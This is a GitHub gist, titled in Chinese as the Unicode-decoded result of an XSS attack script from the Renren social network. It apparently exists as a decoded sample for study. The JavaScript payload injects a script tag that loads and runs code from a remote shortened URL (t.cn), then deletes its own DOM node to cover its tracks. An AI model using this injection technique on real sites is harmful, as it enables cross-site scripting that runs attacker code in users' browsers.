Skip to content

Instantly share code, notes, and snippets.

@franklsf95
Last active December 14, 2015 03:19
Show Gist options
  • Save franklsf95/5019953 to your computer and use it in GitHub Desktop.
Save franklsf95/5019953 to your computer and use it in GitHub Desktop.
人人网XSS攻击脚本Unicode解码结果
if (window.isUndefined(window.injector1))
{
window.injector1 = 'defined';
window.scriptSrc = 'http://t.cn/zYKFUUl';
console.log("triggered...");
var script = document.createElement("script");
script.src = window.scriptSrc;
script.type = 'text/javascript';
script.charset = 'gbk';
script.id = 'sklmtt';
document.body.appendChild(script);
}
$(this.parentNode).remove();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment